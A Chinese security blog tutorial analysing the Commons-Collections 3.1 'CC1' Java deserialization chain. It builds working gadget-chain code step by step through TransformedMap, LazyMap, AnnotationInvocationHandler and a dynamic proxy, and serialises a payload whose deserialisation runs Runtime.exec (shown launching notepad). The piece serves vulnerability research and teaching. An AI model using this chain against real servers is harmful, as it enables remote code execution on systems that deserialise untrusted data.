Java反序列化之CC1链分析 | 技术精选0142
2022-10-10 17:12:31 Author: www.secpulse.com(查看原文) 阅读量:18 收藏

本文约4000字,阅读约需9分钟。
可能之前看Java CC1链的文章时,那复杂的玩法给我留下了阴影,这篇文章自己迟迟没有动笔——毕竟有TransformedMap玩法,还有LazyMap玩法,最终还得借助AnnotationInvocationHandler或动态代理,看着就令人头大。
但我可以拖延,洞却不会等着我。自己如果不加快节奏,洞就要和我说再见了。
咬牙鼓劲,遂出此文。
1
CC
首先,还是先说下Commons-Collections吧。它的功能是为Java标准的Collections API提供了相当好的补充,对其常用的数据结构操作进行了很好的封装和抽象。保证性能的同时大大简化代码。
此包的类包含下面两个:
Map
Commons Collections在java.util.Map的基础上扩展了很多接口和类,比较有代表性的是BidiMap、MultiMap和LazyMap。跟Bag和Buffer类似,Commons Collections也提供了一个MapUtils。
所谓BidiMap,直译就是双向Map,可以通过key找到value,也可以通过value找到key,这在我们日常的代码-名称匹配的时候很方便:因为我们除了需要通过代码找到名称之外,往往也需要处理用户输入的名称,然后获取其代码。需要注意的是BidiMap当中不光key不能重复,value也不可以。
所谓MultiMap,就是说一个key不再是简单的指向一个对象,而是一组对象,add()和remove()的时候跟普通的Map无异,只是在get()时返回一个Collection,利用MultiMap,我们就可以很方便的往一个key上放数量不定的对象,也就实现了一对多。
所谓LazyMap,意思就是这个Map中的键/值对一开始并不存在,当被调用到时才创建。
https://www.iteye.com/blog/duohuoteng-1630329
Transformer
我们有时候需要将某个对象转换成另一个对象供另一组方法调用,而这两类对象的类型有可能并不是出于同一个继承体系的,或者说出了很基本的Object之外没有共同的父类,或者我们根本不关心他们是不是有其他继承关系,甚至就是同一个类的实例只是对我们而言无所谓,我们为了它能够被后续的调用者有意义的识别和处理,在这样的情形,我们就可以利用Transformer。除了基本的转型Transformer之外,Commons Collections还提供了Transformer链和带条件的Transformer,使得我们很方便的组装出有意义的转型逻辑。 
https://blog.csdn.net/liliugen/article/details/83298363
重点要关注这两个类Map、Transformer。接下来包的问题,直接上maven仓库拉就好了:
最重要的一点:CC包版本需要为3.1-3.2.1,别看3.0和3.1只差个0.1,却可能导致弹不出记事本。我这次用的是3.1。
2
构造利用链
这一步建议使用jdk7,jdk8可能会出错。
InvokerTransformer
首先,来看反射机制触发函数InvokerTransformer类的transform(Object input):
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName; //函数名        
        this.iParamTypes = paramTypes; //函数参数的类型        
        this.iArgs = args;             //参数对象
}
public Object transform(Object input) {
Class cls = input.getClass();     //获取input的类
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //调用方法
return method.invoke(input, this.iArgs);              //执行
}
通过Java反射机制,我们可以构造一个命令执行:
public static void main(String[] args) throws Exception {        //payload        InvokerTransformer x = new InvokerTransformer(                "exec",                new Class[]{String.class},                new String[]{"notepad"});

       //服务端        Object d = Class.forName("java.lang.Runtime")                .getMethod("getRuntime")                .invoke(Class.forName("java.lang.Runtime"));        x.transform(d);    }
但是,这似乎不太现实,服务端给咱专门来了个:
Object d = Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”))
还得接着优化。
ChainedTransformer
接下来我们看这个类ChainedTransformer的transform函数:
public Object transform(Object object) {        for(int i = 0; i < this.iTransformers.length; ++i) {            object = this.iTransformers[i].transform(object);        }

       return object;}
由此函数可知,输入的对象会给第一个转化器,转换结果会被输入到第二个转换器,以此类推。
再看ChainedTransformer类的构造函数,发现iTransformers数组是用户自己定义的:
public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;    
     }
接下来我们构造一下,运行:
public static void main(String[] args) throws Exception {        //payload        Transformer[] x = new Transformer[]{                new InvokerTransformer(                        "exec",                        new Class[]{String.class},                        new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);

       //服务端        Object a = Class.forName("java.lang.Runtime")                .getMethod("getRuntime")                .invoke(Class.forName("java.lang.Runtime"));        d.transform(a);    }
看似和第一步没什么区别,但其实是在为后面做铺垫。
ConstantTransformer
ConstantTransformer类与InvokkerTransformer一样,继承Transforme父类,可以进入数组。主要看该类的下面两个函数:
public ConstantTransformer(Object constantToReturn) {
       this.iConstant = constantToReturn;
}
public Object transform(Object input) {        
       return this.iConstant;
}
在此对其修改,由于Runtime.getRuntime()实例已经放进payload里面,transform函数有无参数都不重要,因为ConstantTransformer类的transform函数会返会iConstant值,也就是最开始我们构造函数设置好的:
public static void main(String[] args) throws Exception {        //payload        Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.getRuntime()),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);

       //payload序列化写入文件,当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(d);

       //服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);

       Transformer a = (ChainedTransformer) f2.readObject();

       d.transform(null);}
这次之所以这样写,是因为前面的序列化和不序列化结果都一样,这次如果不序列化,看不出问题。
果然报错,Runtime类的定义没有继承Serializable类,是不支持反序列化的。
服务端生成Runtime实例
Runtime的实例是通过Runtime.getRuntime()来获取的,而InvokerTransformer里面的反射机制可以执行任意函数,我们让其执行getRuntime,从而使其成为实例。
把数组修改成如下:
Transformer[] x = new Transformer[]{
               new ConstantTransformer(Runtime.class),                
               new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),                
               new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        
};
结果报错了,跟踪一下:
由于是类缘故,所以input.getClass获取的是java.lang.Class。
调整一下,借用getMethod方法执行getRuntime。
Transformer[] x = new Transformer[]{
                new ConstantTransformer(Runtime.class),                
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),               
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})   
};
跟踪到x[1]进去transform函数,发现获取的类还不是Runtime实例。
再对其调整:
Transformer[] x = new Transformer[]{
               new ConstantTransformer(Runtime.class),                
               new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),                
               new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),                
               new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        
};
终于成功了。
其实是等同于反射语句:
public static void main(String[] args) throws Exception {
        //x[0],object=""        
        Class s = Class.forName("java.lang.Class");       
         //x[1],object="java.lang.Runtime"        
         Object o = s.getMethod("getMethod", new Class[]{String.class, Class[].class}).invoke(Class.forName("java.lang.Runtime"), "getRuntime", new Class[0]);        
         System.out.println(o + "nn");        
         //x[2],object="java.lang.Runtime.getRuntime()"        
         s = o.getClass();        
         o = s.getMethod("invoke", new Class[]{Object.class, Object[].class}).invoke(o, null, new Object[0]);        
         System.out.println(s + "n" + o + "nn");        
         //x[3],object=        
         Object o1 = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));        
         System.out.println(o1);
}
可以看出,O和O1结果是一样的,但是服务端应该也不会执行。
Transformer a = (ChainedTransformer) f2.readObject();
d.transform(null);
还得继续优化。深思熟虑后,上Map。
这里有两种Map都可以实现,一种是TransformedMap,另一种LazyMap,ysoserial用的是第二种,下面我会分别聊这两种实现方法。
TransformedMap
首先,看下TransformedMap类,发现当该类在调用put函数时,会执行transform函数,最后的执行结果会被添加到Map里:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {    return new TransformedMap(map, keyTransformer, valueTransformer);}protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {    super(map);    this.keyTransformer = keyTransformer;    this.valueTransformer = valueTransformer;}protected Object transformKey(Object object) {    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);}

protected Object transformValue(Object object) {    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);}public Object put(Object key, Object value) {    key = this.transformKey(key);    value = this.transformValue(value);    return this.getMap().put(key, value);}

于是,我就尝试了一下:

interface Test extends Transformer {    public Object transform(Object input);}

class Test1 implements Test, Transformer {    public Object transform(Object input) {        return "x";    }}

class Test2 implements Test {    public Object transform(Object input) {        return "d";    }}

public class cc1 {    public static void main(String[] args) throws Exception {        Map innerMap = new HashMap();        System.out.println(innerMap);        Map map = TransformedMap.decorate(innerMap, new Test1(), new Test2());        map.put("value", "value");        System.out.println(map);    }}
结果也是和我想象一样,Map输出为{x=d}。
借助这个类,我们修改一下,再尝试一次:
public class cc1 {    public static void main(String[] args) throws Exception {        //payload        Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);        Map map = new HashMap();        map.put("value", "value");        Map map1 = TransformedMap.decorate(map, null, d);         //payload序列化写入文件,当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(map1);

       //服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);

       Map map2 = (Map) f2.readObject();        map2.put("value", "1");



   }}
这次就合理起来了。服务端执行Map应该问题不大。但是我们要追求完美,要让它只执行一个readObject就弹出记事本。
AnnotationInvocationHandler的readObject复写点
看看AnnotationInvocationHandler类下的readObject函数,发现在里面有赋值操作var5.setValue,不管它值是什么,总之只要赋值就能执行我们的命令:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {   var1.defaultReadObject();   AnnotationType var2 = null;

  try {       var2 = AnnotationType.getInstance(this.type);   } catch (IllegalArgumentException var9) {       throw new InvalidObjectException("Non-annotation type in annotation serial stream");   }

  Map var3 = var2.memberTypes();   Iterator var4 = this.memberValues.entrySet().iterator();

  while(var4.hasNext()) {       Entry var5 = (Entry)var4.next();       String var6 = (String)var5.getKey();       Class var7 = (Class)var3.get(var6);       if (var7 != null) {           Object var8 = var5.getValue();           if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {               var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));           }       }   }

}
顺势改下代码,由于AnnotationInvocationHandler类的构造函数的第一个参数继承Annotation,所以第一个变量可以在该包底选一个:
public class cc1 {    public static void main(String[] args) throws Exception {        //payload        Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);        Map map = new HashMap();        map.put("key", "key");        Map map1 = TransformedMap.decorate(map, null, d);        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);        ct.setAccessible(true);        Object o = ct.newInstance(Documented.class, map1);        //payload序列化写入文件,当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(o);

       //服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);

       f2.readObject();



   }}
发现var3里面有一组Map数据,会把用户输入的Map数据的每一组key值在其var3寻找,有则不为空,进入判断则可执行。
LazyMap
看看LazyMap类,发现其get函数在获取key所对应的数据时,如果当key不存在,则调用transform函数,并把执行结果作为该key所对应的数据,并添加到到Map里面:

image.png

用这个Map改的话,如下:
public class cc1 {    public static void main(String[] args) throws Exception {

       //payload        Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);        Map map = new HashMap();        Map map1 = LazyMap.decorate(map, d);        map1.get("key");    }}
不完美,还是不完美。
动态代理
我们看一段代码,运行发现,程序执行了invoke方法:
class expHandler implements InvocationHandler {    protected Map map;

   public expHandler(Map map) {        this.map = map;    }

   @Override    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {        if (method.getName().compareTo("put") == 0) {            System.out.println("Hook Method: " + method.getName());            map.put("hi", "xd");        }        return method.invoke(this.map, args);    }}

public class cc1 {    public static void main(String[] args) throws Exception {        InvocationHandler handler = new expHandler(new HashMap());        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);        proxyMap.put("hi", "sir");        System.out.println(proxyMap);}
发现输出的结果是先去执行invoke,当匹配不到,则按正常执行。
AnnotationInvocationHandler类其实和InvocationHandler差不多里都有invoke,AnnotationInvocationHandler类下的invoke里面使用的get函数,所以从这里切入:
public Object invoke(Object var1, Method var2, Object[] var3) {    String var4 = var2.getName();    Class[] var5 = var2.getParameterTypes();    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {        return this.equalsImpl(var3[0]);    } else if (var5.length != 0) {        throw new AssertionError("Too many parameters for an annotation method");    } else {        byte var7 = -1;        switch(var4.hashCode()) {        case -1776922004:            if (var4.equals("toString")) {                var7 = 0;            }            break;        case 147696667:            if (var4.equals("hashCode")) {                var7 = 1;            }            break;        case 1444986633:            if (var4.equals("annotationType")) {                var7 = 2;            }        }

       switch(var7) {        case 0:            return this.toStringImpl();        case 1:            return this.hashCodeImpl();        case 2:            return this.type;        default:            Object var6 = this.memberValues.get(var4);            if (var6 == null) {                throw new IncompleteAnnotationException(this.type, var4);            } else if (var6 instanceof ExceptionProxy) {                throw ((ExceptionProxy)var6).generateException();            } else {                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {                    var6 = this.cloneArray(var6);                }

               return var6;            }        }    }}
通过这些,我们修改代码:
public class cc1 {    public static void main(String[] args) throws Exception {        //payload        Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);        Map map = new HashMap();        Map map1 = LazyMap.decorate(map, d);         Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);        ct.setAccessible(true);         InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1);        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);        Object o = ct.newInstance(Target.class, proxyMap);  //这样写也可handler = (InvocationHandler) ct.newInstance(Retention.class, proxyMap);

       //payload序列化写入文件,当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(o);  //如果用的后面那种,则把o换成handler

       //服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);

       f2.readObject();

   }}
3
总结
相对来说,TransformedMap需要设定特定值,但是在最后一步的时候容易理解。而LazyMap前面不需要多难的技巧,但在后面动态代理时显得比较复杂。
- END -

本文作者:酒仙桥六号部队

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